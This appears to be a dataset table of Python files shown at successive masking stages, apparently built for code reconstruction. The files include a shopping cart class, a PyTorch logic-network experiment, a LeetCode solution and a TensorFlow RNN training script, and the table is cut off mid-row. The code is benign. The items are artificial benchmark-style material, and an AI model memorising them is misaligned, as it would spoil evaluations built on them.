index
int64
0
10k
blob_id
stringlengths
40
40
step-1
stringlengths
0
305k
step-2
stringlengths
6
1.1M
step-3
stringlengths
15
1.23M
step-4
stringlengths
23
1.34M
step-5
stringlengths
55
1.2M
step-ids
sequencelengths
1
5
9,900
58efaad41d02bb5dffbf71c478c7fad12af68e5b
<mask token> class Cart: <mask token> def total_price(self): ele = 0 for i in self.book_list: ele += i.book.book_dprice * i.amount self.total = round(ele, 2) return self <mask token> <mask token> def del_books(self, book): print('删除中') for i in self.book_list: if i.book == book: self.book_list.remove(i) print('删完了', self.book_list) return self
<mask token> class Cart: def __init__(self): self.book_list = [] self.total = 0 self.save = 0 def total_price(self): ele = 0 for i in self.book_list: ele += i.book.book_dprice * i.amount self.total = round(ele, 2) return self <mask token> def add_books(self, book, amount): print('加入中') for i in self.book_list: if i.book == book: i.amount += int(amount) return self self.book_list.append(CartItem(book, int(amount))) print('加完了', self.book_list) return self def del_books(self, book): print('删除中') for i in self.book_list: if i.book == book: self.book_list.remove(i) print('删完了', self.book_list) return self
class CartItem: <mask token> class Cart: def __init__(self): self.book_list = [] self.total = 0 self.save = 0 def total_price(self): ele = 0 for i in self.book_list: ele += i.book.book_dprice * i.amount self.total = round(ele, 2) return self def save_money(self): befor_save = 0 for i in self.book_list: befor_save += i.book.book_price * i.amount self.save = round(befor_save - self.total, 2) print('节省', self.save) return self def add_books(self, book, amount): print('加入中') for i in self.book_list: if i.book == book: i.amount += int(amount) return self self.book_list.append(CartItem(book, int(amount))) print('加完了', self.book_list) return self def del_books(self, book): print('删除中') for i in self.book_list: if i.book == book: self.book_list.remove(i) print('删完了', self.book_list) return self
class CartItem: def __init__(self, book, amount): self.book = book self.amount = int(amount) class Cart: def __init__(self): self.book_list = [] self.total = 0 self.save = 0 def total_price(self): ele = 0 for i in self.book_list: ele += i.book.book_dprice * i.amount self.total = round(ele, 2) return self def save_money(self): befor_save = 0 for i in self.book_list: befor_save += i.book.book_price * i.amount self.save = round(befor_save - self.total, 2) print('节省', self.save) return self def add_books(self, book, amount): print('加入中') for i in self.book_list: if i.book == book: i.amount += int(amount) return self self.book_list.append(CartItem(book, int(amount))) print('加完了', self.book_list) return self def del_books(self, book): print('删除中') for i in self.book_list: if i.book == book: self.book_list.remove(i) print('删完了', self.book_list) return self
# 自定义购物车项类 class CartItem(): def __init__(self, book, amount): self.book = book self.amount = int(amount) # 自定义购物车 class Cart(): def __init__(self): self.book_list = [] self.total = 0 self.save = 0 def total_price(self): ele = 0 for i in self.book_list: ele += i.book.book_dprice*i.amount self.total = round(ele,2) return self def save_money(self): befor_save = 0 for i in self.book_list: befor_save += i.book.book_price*i.amount self.save = round(befor_save - self.total,2) print("节省",self.save) return self # 定义添加购物车 def add_books(self, book, amount): # 判断图书已经在购物车项列表中 print("加入中") for i in self.book_list: if i.book == book: i.amount += int(amount) return self self.book_list.append(CartItem(book, int(amount))) print("加完了",self.book_list) return self def del_books(self, book): print("删除中") for i in self.book_list: if i.book == book: self.book_list.remove(i) print("删完了", self.book_list) return self
[ 3, 5, 7, 8, 9 ]
9,901
3022cade3bfa36925bcbda8023e5cd98ed33d093
<mask token>
<mask token> if 'DISPLAY' not in os.environ: matplotlib.use('Agg') else: pass <mask token> sns.set(style='white', context='talk') def get_accuracy(model, kb): results = [] for clause in kb.clauses: o1, o2 = model.forward(clause) if o2.data.numpy()[0][0] > 0.9: results.append(1.0) else: results.append(0.0) return sum(results) / len(kb.clauses) def test_model(model, kb1, kb2, filename): kb_train = kb1.union(kb2) optimizor = torch.optim.Adam(model.parameters(), lr=0.001) mone = torch.FloatTensor([-1]) one = torch.FloatTensor([1]) average_prob = [] averate_loss = [] best_accuracy1 = 0.0 best_accuracy2 = 0.0 for i in tqdm(range(1000)): optimizor.zero_grad() total_probability = 0.0 total_loss = 0.0 for clause in kb_train.clauses: loss, prob = model.forward(clause=clause) loss.backward(one) total_probability += prob.data.numpy()[0] total_loss += loss.data.numpy()[0] optimizor.step() average_prob.append(total_probability / len(kb_train.clauses)) averate_loss.append(total_loss / len(kb_train.clauses)) accuracy1 = get_accuracy(model, kb1) accuracy2 = get_accuracy(model, kb2) if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2: best_accuracy1 = accuracy1 best_accuracy2 = accuracy2 pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2 ), open('./results/%s' % filename, 'wb')) <mask token> for p in propositionals: gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False)) <mask token> for tkb in gkbs1[1:]: gkb1 = gkb1.union(tkb) <mask token> for p in propositionals: gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False)) <mask token> for tkb in gkbs2[1:]: gkb2 = gkb2.union(tkb) <mask token> for p in propositionals: gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True)) <mask token> for tkb in gkbs3[1:]: gkb3 = gkb3.union(tkb) <mask token> for p in propositionals: gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True)) <mask token> for tkb in gkbs4[1:]: gkb4 = gkb4.union(tkb) <mask token> for emb_dim in emb_dim_range: test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [ 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4), filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim) <mask token> for emb_dim in emb_dim_range: prob, loss, first, second = pickle.load(open( './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb')) accuracys1.append(first) accuracys2.append(second) plt.plot(emb_dim_range, accuracys1, label='Group1') plt.plot(emb_dim_range, accuracys2, label='Group2') plt.legend() plt.xlabel('Vector Length') plt.ylabel('Accuracy') plt.savefig('./Report/img/curve4.pdf') plt.show()
<mask token> if 'DISPLAY' not in os.environ: matplotlib.use('Agg') else: pass <mask token> sns.set(style='white', context='talk') def get_accuracy(model, kb): results = [] for clause in kb.clauses: o1, o2 = model.forward(clause) if o2.data.numpy()[0][0] > 0.9: results.append(1.0) else: results.append(0.0) return sum(results) / len(kb.clauses) def test_model(model, kb1, kb2, filename): kb_train = kb1.union(kb2) optimizor = torch.optim.Adam(model.parameters(), lr=0.001) mone = torch.FloatTensor([-1]) one = torch.FloatTensor([1]) average_prob = [] averate_loss = [] best_accuracy1 = 0.0 best_accuracy2 = 0.0 for i in tqdm(range(1000)): optimizor.zero_grad() total_probability = 0.0 total_loss = 0.0 for clause in kb_train.clauses: loss, prob = model.forward(clause=clause) loss.backward(one) total_probability += prob.data.numpy()[0] total_loss += loss.data.numpy()[0] optimizor.step() average_prob.append(total_probability / len(kb_train.clauses)) averate_loss.append(total_loss / len(kb_train.clauses)) accuracy1 = get_accuracy(model, kb1) accuracy2 = get_accuracy(model, kb2) if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2: best_accuracy1 = accuracy1 best_accuracy2 = accuracy2 pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2 ), open('./results/%s' % filename, 'wb')) kb1 = load_knowledge_base('./facts1.txt') kb2 = load_knowledge_base('./facts2.txt') propositionals = load_propositional('./knowledge.txt') gkbs1 = [] for p in propositionals: gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False)) gkb1 = gkbs1[0] for tkb in gkbs1[1:]: gkb1 = gkb1.union(tkb) gkbs2 = [] for p in propositionals: gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False)) gkb2 = gkbs2[0] for tkb in gkbs2[1:]: gkb2 = gkb2.union(tkb) gkbs3 = [] for p in propositionals: gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True)) gkb3 = gkbs3[0] for tkb in gkbs3[1:]: gkb3 = gkb3.union(tkb) gkbs4 = [] for p in propositionals: gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True)) gkb4 = gkbs4[0] for tkb in gkbs4[1:]: gkb4 = gkb4.union(tkb) emb_dim = 50 emb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20)) emb_dim_range = list(range(160, 161, 20)) for emb_dim in emb_dim_range: test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [ 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4), filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim) accuracys1 = [] accuracys2 = [] for emb_dim in emb_dim_range: prob, loss, first, second = pickle.load(open( './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb')) accuracys1.append(first) accuracys2.append(second) plt.plot(emb_dim_range, accuracys1, label='Group1') plt.plot(emb_dim_range, accuracys2, label='Group2') plt.legend() plt.xlabel('Vector Length') plt.ylabel('Accuracy') plt.savefig('./Report/img/curve4.pdf') plt.show()
import matplotlib import os if 'DISPLAY' not in os.environ: matplotlib.use('Agg') else: pass import torch import torch.nn as nn from torch.autograd import Variable import torch.optim as optim from matplotlib import pyplot as plt import seaborn as sns from tqdm import tqdm import copy from utils import Predicate, Clause, KnowledgeBase, Propositional from utils import load_knowledge_base, load_propositional from models import LTN import pickle import numpy as np import seaborn as sns sns.set(style='white', context='talk') def get_accuracy(model, kb): results = [] for clause in kb.clauses: o1, o2 = model.forward(clause) if o2.data.numpy()[0][0] > 0.9: results.append(1.0) else: results.append(0.0) return sum(results) / len(kb.clauses) def test_model(model, kb1, kb2, filename): kb_train = kb1.union(kb2) optimizor = torch.optim.Adam(model.parameters(), lr=0.001) mone = torch.FloatTensor([-1]) one = torch.FloatTensor([1]) average_prob = [] averate_loss = [] best_accuracy1 = 0.0 best_accuracy2 = 0.0 for i in tqdm(range(1000)): optimizor.zero_grad() total_probability = 0.0 total_loss = 0.0 for clause in kb_train.clauses: loss, prob = model.forward(clause=clause) loss.backward(one) total_probability += prob.data.numpy()[0] total_loss += loss.data.numpy()[0] optimizor.step() average_prob.append(total_probability / len(kb_train.clauses)) averate_loss.append(total_loss / len(kb_train.clauses)) accuracy1 = get_accuracy(model, kb1) accuracy2 = get_accuracy(model, kb2) if accuracy1 + accuracy2 > best_accuracy1 + best_accuracy2: best_accuracy1 = accuracy1 best_accuracy2 = accuracy2 pickle.dump((average_prob, averate_loss, best_accuracy1, best_accuracy2 ), open('./results/%s' % filename, 'wb')) kb1 = load_knowledge_base('./facts1.txt') kb2 = load_knowledge_base('./facts2.txt') propositionals = load_propositional('./knowledge.txt') gkbs1 = [] for p in propositionals: gkbs1.append(p.generate_knowledge_base('abcdefgh', change_weight=False)) gkb1 = gkbs1[0] for tkb in gkbs1[1:]: gkb1 = gkb1.union(tkb) gkbs2 = [] for p in propositionals: gkbs2.append(p.generate_knowledge_base('ijklmn', change_weight=False)) gkb2 = gkbs2[0] for tkb in gkbs2[1:]: gkb2 = gkb2.union(tkb) gkbs3 = [] for p in propositionals: gkbs3.append(p.generate_knowledge_base('abcdefgh', change_weight=True)) gkb3 = gkbs3[0] for tkb in gkbs3[1:]: gkb3 = gkb3.union(tkb) gkbs4 = [] for p in propositionals: gkbs4.append(p.generate_knowledge_base('ijklmn', change_weight=True)) gkb4 = gkbs4[0] for tkb in gkbs4[1:]: gkb4 = gkb4.union(tkb) emb_dim = 50 emb_dim_range = list(range(10, 20, 5)) + list(range(20, 101, 20)) emb_dim_range = list(range(160, 161, 20)) for emb_dim in emb_dim_range: test_model(model=LTN(emb_dim, 'abcdefghijklmn', [['S', 1], ['F', 2], [ 'C', 1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4), filename='LTN_Learn_emb_dim=%d.pkl' % emb_dim) accuracys1 = [] accuracys2 = [] for emb_dim in emb_dim_range: prob, loss, first, second = pickle.load(open( './results/LTN_Learn_emb_dim=%d.pkl' % emb_dim, 'rb')) accuracys1.append(first) accuracys2.append(second) plt.plot(emb_dim_range, accuracys1, label='Group1') plt.plot(emb_dim_range, accuracys2, label='Group2') plt.legend() plt.xlabel('Vector Length') plt.ylabel('Accuracy') plt.savefig('./Report/img/curve4.pdf') plt.show()
# coding: utf-8 # In[1]: #coding:utf8 import matplotlib import os if 'DISPLAY' not in os.environ: matplotlib.use('Agg') else: pass import torch import torch.nn as nn from torch.autograd import Variable import torch.optim as optim from matplotlib import pyplot as plt import seaborn as sns from tqdm import tqdm import copy from utils import Predicate,Clause,KnowledgeBase, Propositional from utils import load_knowledge_base,load_propositional from models import LTN import pickle import numpy as np import seaborn as sns sns.set(style="white", context="talk") # In[2]: def get_accuracy(model,kb): results=[] for clause in kb.clauses: o1,o2=model.forward(clause) if o2.data.numpy()[0][0]>0.9: results.append(1.0) else: results.append(0.0) return sum(results)/len(kb.clauses) # In[3]: def test_model(model,kb1, kb2,filename): kb_train=kb1.union(kb2) optimizor=torch.optim.Adam(model.parameters(),lr=0.001) mone=torch.FloatTensor([-1]) one=torch.FloatTensor([1]) average_prob=[] averate_loss=[] best_accuracy1=0.0 best_accuracy2=0.0 for i in tqdm(range(1000)): optimizor.zero_grad() total_probability=0.0 total_loss=0.0 for clause in kb_train.clauses: loss,prob=model.forward(clause=clause) loss.backward(one) total_probability+=prob.data.numpy()[0] total_loss+=loss.data.numpy()[0] optimizor.step() average_prob.append(total_probability/len(kb_train.clauses)) averate_loss.append(total_loss/len(kb_train.clauses)) accuracy1=get_accuracy(model,kb1) accuracy2=get_accuracy(model,kb2) if accuracy1+accuracy2>best_accuracy1+best_accuracy2: best_accuracy1=accuracy1 best_accuracy2=accuracy2 pickle.dump((average_prob,averate_loss,best_accuracy1,best_accuracy2), open("./results/%s"%filename, "wb" )) # In[4]: kb1=load_knowledge_base('./facts1.txt') kb2=load_knowledge_base('./facts2.txt') propositionals=load_propositional('./knowledge.txt') gkbs1=[] for p in propositionals: gkbs1.append(p.generate_knowledge_base('abcdefgh',change_weight=False)) gkb1=gkbs1[0] for tkb in gkbs1[1:]: gkb1=gkb1.union(tkb) gkbs2=[] for p in propositionals: gkbs2.append(p.generate_knowledge_base('ijklmn',change_weight=False)) gkb2=gkbs2[0] for tkb in gkbs2[1:]: gkb2=gkb2.union(tkb) gkbs3=[] for p in propositionals: gkbs3.append(p.generate_knowledge_base('abcdefgh',change_weight=True)) gkb3=gkbs3[0] for tkb in gkbs3[1:]: gkb3=gkb3.union(tkb) gkbs4=[] for p in propositionals: gkbs4.append(p.generate_knowledge_base('ijklmn',change_weight=True)) gkb4=gkbs4[0] for tkb in gkbs4[1:]: gkb4=gkb4.union(tkb) # In[5]: emb_dim=50 # In[6]: emb_dim_range=list(range(10,20,5))+list(range(20,101,20)) emb_dim_range=list(range(160,161,20)) # In[ ]: for emb_dim in emb_dim_range: test_model( model=LTN(emb_dim,'abcdefghijklmn',[['S',1],['F',2],['C',1]], CLTN=True), kb1=kb1.union(gkb3), kb2=kb2.union(gkb4), filename='LTN_Learn_emb_dim=%d.pkl'%(emb_dim) ) # In[80]: accuracys1=[] accuracys2=[] for emb_dim in emb_dim_range: prob,loss,first,second=pickle.load(open('./results/LTN_Learn_emb_dim=%d.pkl'%(emb_dim),'rb')) accuracys1.append(first) accuracys2.append(second) plt.plot(emb_dim_range,accuracys1,label='Group1') plt.plot(emb_dim_range,accuracys2,label='Group2') plt.legend() plt.xlabel('Vector Length') plt.ylabel('Accuracy') plt.savefig('./Report/img/curve4.pdf') plt.show()
[ 0, 3, 4, 5, 6 ]
9,902
148b849ae43617dde8dbb0c949defa2f390ce5cd
<mask token>
class Solution(object): <mask token>
class Solution(object): def oddCells(self, m, n, indices): """ :type m: int :type n: int :type indices: List[List[int]] :rtype: int """ indice_x_dict = {} indice_y_dict = {} for x, y in indices: indice_x_dict[x] = indice_x_dict.get(x, 0) + 1 indice_y_dict[y] = indice_y_dict.get(y, 0) + 1 x_num = 0 y_num = 0 for key, item in indice_x_dict.items(): if item % 2 == 1: x_num += 1 for key, item in indice_y_dict.items(): if item % 2 == 1: y_num += 1 return x_num * n + y_num * m - x_num * y_num * 2
class Solution(object): def oddCells(self, m, n, indices): """ :type m: int :type n: int :type indices: List[List[int]] :rtype: int """ indice_x_dict = {} indice_y_dict = {} for x, y in indices: indice_x_dict[x] = indice_x_dict.get(x, 0) + 1 indice_y_dict[y] = indice_y_dict.get(y, 0) + 1 x_num = 0 y_num = 0 for key, item in indice_x_dict.items(): if item % 2 == 1: x_num += 1 for key, item in indice_y_dict.items(): if item % 2 == 1: y_num += 1 return x_num * n + y_num * m - x_num * y_num * 2
null
[ 0, 1, 2, 3 ]
9,903
dabd835ff02f2adb01773fb7dd7099206cbae162
<mask token>
<mask token> for i in range(1000): l = str(i).zfill(3) k = 0 for j in range(N): if S[j] == l[k]: k += 1 if k == 3: ans += 1 break print(ans)
N = int(input()) S = input() ans = 0 for i in range(1000): l = str(i).zfill(3) k = 0 for j in range(N): if S[j] == l[k]: k += 1 if k == 3: ans += 1 break print(ans)
N=int(input()) S=input() ans=0 for i in range(1000): l=str(i).zfill(3);k=0 for j in range(N): if S[j]==l[k]: k+=1 if k==3:ans+=1;break print(ans)
null
[ 0, 1, 2, 3 ]
9,904
aa1a7de92b971b6d10d09b2f8ca2c55516e538e4
<mask token>
<mask token> tf.flags.DEFINE_integer('embedding_dim', 100, 'Dimensionality of character embedding (default: 100)') tf.flags.DEFINE_float('dropout_keep_prob', 0.5, 'Dropout keep probability (default: 0.5)') tf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)') tf.flags.DEFINE_integer('num_epochs', 100, 'Number of training epochs (default: 200)') tf.flags.DEFINE_integer('evaluate_every', 500, 'Evaluate model on dev set after this many steps (default: 100)') tf.flags.DEFINE_integer('checkpoint_every', 500, 'Save model after this many steps (default: 100)') tf.flags.DEFINE_integer('num_checkpoints', 3, 'Number of checkpoints to store (default: 5)') tf.flags.DEFINE_boolean('allow_soft_placement', True, 'Allow device soft device placement') tf.flags.DEFINE_boolean('log_device_placement', False, 'Log placement of ops on devices') print(""" Loading train data...""") <mask token> print('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train. shape)) print(x_train[0], y_train[0]) print(""" Loading dev data...""") <mask token> print('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape)) print(x_dev[-1], y_dev[-1]) <mask token> print('x length:{0}'.format(len(x))) <mask token> print('Shape of word-id matrix: {0}'.format(x.shape)) <mask token> print('Shape of x_train matrix: {0}'.format(x_train.shape)) <mask token> print('Shape of x_dev matrix: {0}'.format(x_dev.shape)) np.random.seed(10) <mask token> del x <mask token> print('Vocabulary Size: {:d}'.format(vocabsize)) with tf.Graph().as_default(): session_conf = tf.ConfigProto(allow_soft_placement=FLAGS. allow_soft_placement, log_device_placement=FLAGS.log_device_placement) sess = tf.Session(config=session_conf) with sess.as_default(): rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim ) global_step = tf.Variable(0, name='global_step', trainable=False) optimizer = tf.train.AdamOptimizer(0.001) grads_and_vars = optimizer.compute_gradients(rnn.loss) train_op = optimizer.apply_gradients(grads_and_vars, global_step= global_step) grad_summaries = [] for g, v in grads_and_vars: if g is not None: grad_hist_summary = tf.summary.histogram('{}/grad/hist'. format(v.name), g) sparsity_summary = tf.summary.scalar('{}/grad/sparsity'. format(v.name), tf.nn.zero_fraction(g)) grad_summaries.append(grad_hist_summary) grad_summaries.append(sparsity_summary) grad_summaries_merged = tf.summary.merge(grad_summaries) out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs')) print('Writing to {}\n'.format(out_dir)) loss_summary = tf.summary.scalar('loss', rnn.loss) acc_summary = tf.summary.scalar('accuracy', rnn.accuracy) train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged]) train_summary_dir = os.path.join(out_dir, 'summaries', 'train') train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph) dev_summary_op = tf.summary.merge([loss_summary, acc_summary]) dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev') dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph) checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints')) checkpoint_prefix = os.path.join(checkpoint_dir, 'model') if not os.path.exists(checkpoint_dir): os.makedirs(checkpoint_dir) saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS. num_checkpoints) vocab_processor.save(os.path.join(out_dir, 'vocab')) sess.run(tf.global_variables_initializer()) vocabulary = vocab_processor.vocabulary_ initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary) sess.run(rnn.W_embed.assign(initEmbeddings)) for v in tf.trainable_variables(): print(v.name) def train_step(x_batch, y_batch): """ A single training step """ feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn. dropout_keep_prob: FLAGS.dropout_keep_prob} _, step, summaries, loss, accuracy = sess.run([train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() train_summary_writer.add_summary(summaries, step) return loss, accuracy def dev_step(x_batch, y_batch, writer=None): """ Evaluates model on a dev set """ feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn. dropout_keep_prob: 1.0} step, summaries, loss, accuracy = sess.run([global_step, dev_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step, loss, accuracy)) if writer: writer.add_summary(summaries, step) return accuracy batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs) prev_val_acc = 0 for batch in batches: x_batch, y_batch = zip(*batch) train_loss, train_acc = train_step(x_batch, y_batch) current_step = tf.train.global_step(sess, global_step) if current_step % FLAGS.evaluate_every == 0: print('\nTrain loss:{0}, Train accuracy:{1}'.format( train_loss, train_acc)) print('Evaluation:') val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer) if val_acc > 0.95 and val_acc > prev_val_acc: save_path = saver.save(sess, checkpoint_prefix, global_step=current_step) print('Model checkpoint saved at {0}, accuracy={1}'. format(save_path, round(val_acc, 3))) prev_val_acc = val_acc print('')
<mask token> flags = tf.app.flags FLAGS = flags.FLAGS tf.flags.DEFINE_integer('embedding_dim', 100, 'Dimensionality of character embedding (default: 100)') tf.flags.DEFINE_float('dropout_keep_prob', 0.5, 'Dropout keep probability (default: 0.5)') tf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)') tf.flags.DEFINE_integer('num_epochs', 100, 'Number of training epochs (default: 200)') tf.flags.DEFINE_integer('evaluate_every', 500, 'Evaluate model on dev set after this many steps (default: 100)') tf.flags.DEFINE_integer('checkpoint_every', 500, 'Save model after this many steps (default: 100)') tf.flags.DEFINE_integer('num_checkpoints', 3, 'Number of checkpoints to store (default: 5)') tf.flags.DEFINE_boolean('allow_soft_placement', True, 'Allow device soft device placement') tf.flags.DEFINE_boolean('log_device_placement', False, 'Log placement of ops on devices') print(""" Loading train data...""") x_train, y_train = data_helpers.load_splitted_data_and_labels( '../data/toxic_yes_train.txt', '../data/toxic_no_train.txt') print('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train. shape)) print(x_train[0], y_train[0]) print(""" Loading dev data...""") x_dev, y_dev = data_helpers.load_splitted_data_and_labels( '../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt') print('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape)) print(x_dev[-1], y_dev[-1]) x = x_train + x_dev print('x length:{0}'.format(len(x))) max_sent_length = 80 vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length) x = np.array(list(vocab_processor.fit_transform(x))) print('Shape of word-id matrix: {0}'.format(x.shape)) x_train = np.array(list(vocab_processor.transform(x_train))) print('Shape of x_train matrix: {0}'.format(x_train.shape)) x_dev = np.array(list(vocab_processor.transform(x_dev))) print('Shape of x_dev matrix: {0}'.format(x_dev.shape)) np.random.seed(10) shuffle_indices = np.random.permutation(np.arange(len(y_train))) x_train = x_train[shuffle_indices] y_train = y_train[shuffle_indices] del x vocabsize = len(vocab_processor.vocabulary_) print('Vocabulary Size: {:d}'.format(vocabsize)) with tf.Graph().as_default(): session_conf = tf.ConfigProto(allow_soft_placement=FLAGS. allow_soft_placement, log_device_placement=FLAGS.log_device_placement) sess = tf.Session(config=session_conf) with sess.as_default(): rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim ) global_step = tf.Variable(0, name='global_step', trainable=False) optimizer = tf.train.AdamOptimizer(0.001) grads_and_vars = optimizer.compute_gradients(rnn.loss) train_op = optimizer.apply_gradients(grads_and_vars, global_step= global_step) grad_summaries = [] for g, v in grads_and_vars: if g is not None: grad_hist_summary = tf.summary.histogram('{}/grad/hist'. format(v.name), g) sparsity_summary = tf.summary.scalar('{}/grad/sparsity'. format(v.name), tf.nn.zero_fraction(g)) grad_summaries.append(grad_hist_summary) grad_summaries.append(sparsity_summary) grad_summaries_merged = tf.summary.merge(grad_summaries) out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs')) print('Writing to {}\n'.format(out_dir)) loss_summary = tf.summary.scalar('loss', rnn.loss) acc_summary = tf.summary.scalar('accuracy', rnn.accuracy) train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged]) train_summary_dir = os.path.join(out_dir, 'summaries', 'train') train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph) dev_summary_op = tf.summary.merge([loss_summary, acc_summary]) dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev') dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph) checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints')) checkpoint_prefix = os.path.join(checkpoint_dir, 'model') if not os.path.exists(checkpoint_dir): os.makedirs(checkpoint_dir) saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS. num_checkpoints) vocab_processor.save(os.path.join(out_dir, 'vocab')) sess.run(tf.global_variables_initializer()) vocabulary = vocab_processor.vocabulary_ initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary) sess.run(rnn.W_embed.assign(initEmbeddings)) for v in tf.trainable_variables(): print(v.name) def train_step(x_batch, y_batch): """ A single training step """ feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn. dropout_keep_prob: FLAGS.dropout_keep_prob} _, step, summaries, loss, accuracy = sess.run([train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() train_summary_writer.add_summary(summaries, step) return loss, accuracy def dev_step(x_batch, y_batch, writer=None): """ Evaluates model on a dev set """ feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn. dropout_keep_prob: 1.0} step, summaries, loss, accuracy = sess.run([global_step, dev_summary_op, rnn.loss, rnn.accuracy], feed_dict) time_str = datetime.datetime.now().isoformat() print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step, loss, accuracy)) if writer: writer.add_summary(summaries, step) return accuracy batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs) prev_val_acc = 0 for batch in batches: x_batch, y_batch = zip(*batch) train_loss, train_acc = train_step(x_batch, y_batch) current_step = tf.train.global_step(sess, global_step) if current_step % FLAGS.evaluate_every == 0: print('\nTrain loss:{0}, Train accuracy:{1}'.format( train_loss, train_acc)) print('Evaluation:') val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer) if val_acc > 0.95 and val_acc > prev_val_acc: save_path = saver.save(sess, checkpoint_prefix, global_step=current_step) print('Model checkpoint saved at {0}, accuracy={1}'. format(save_path, round(val_acc, 3))) prev_val_acc = val_acc print('')
import tensorflow as tf import numpy as np import os import time import datetime import data_helpers from text_rnn import TextRNN from tensorflow.contrib import learn flags = tf.app.flags FLAGS = flags.FLAGS tf.flags.DEFINE_integer('embedding_dim', 100, 'Dimensionality of character embedding (default: 100)') tf.flags.DEFINE_float('dropout_keep_prob', 0.5, 'Dropout keep probability (default: 0.5)') tf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)') tf.flags.DEFINE_integer('num_epochs', 100, 'Number of training epochs (default: 200)') tf.flags.DEFINE_integer('evaluate_every', 500, 'Evaluate model on dev set after this many steps (default: 100)') tf.flags.DEFINE_integer('checkpoint_every', 500, 'Save model after this many steps (default: 100)') tf.flags.DEFINE_integer('num_checkpoints', 3, 'Number of checkpoints to store (default: 5)') tf.flags.DEFINE_boolean('allow_soft_placement', True, 'Allow device soft device placement') tf.flags.DEFINE_boolean('log_device_placement', False, 'Log placement of ops on devices') print(""" Loading train data...""") x_train, y_train = data_helpers.load_splitted_data_and_labels( '../data/toxic_yes_train.txt', '../data/toxic_no_train.txt') print('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train. shape)) print(x_train[0], y_train[0]) print(""" Loading dev data...""") x_dev, y_dev = data_helpers.load_splitted_data_and_labels( '../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt') print('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape)) print(x_dev[-1], y_dev[-1]) x = x_train + x_dev print('x length:{0}'.format(len(x))) max_sent_length = 80 vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length) x = np.array(list(vocab_processor.fit_transform(x))) print('Shape of word-id matrix: {0}'.format(x.shape)) x_train = np.array(list(vocab_processor.transform(x_train))) print('Shape of x_train matrix: {0}'.format(x_train.shape)) x_dev = np.array(list(vocab_processor.transform(x_dev))) print('Shape of x_dev matrix: {0}'.format(x_dev.shape)) np.random.seed(10) shuffle_indices = np.random.permutation(np.arange(len(y_train))) x_train = x_train[shuffle_indices] y_train = y_train[shuffle_indices] del x vocabsize = len(vocab_processor.vocabulary_) print('Vocabulary Size: {:d}'.format(vocabsize)) with 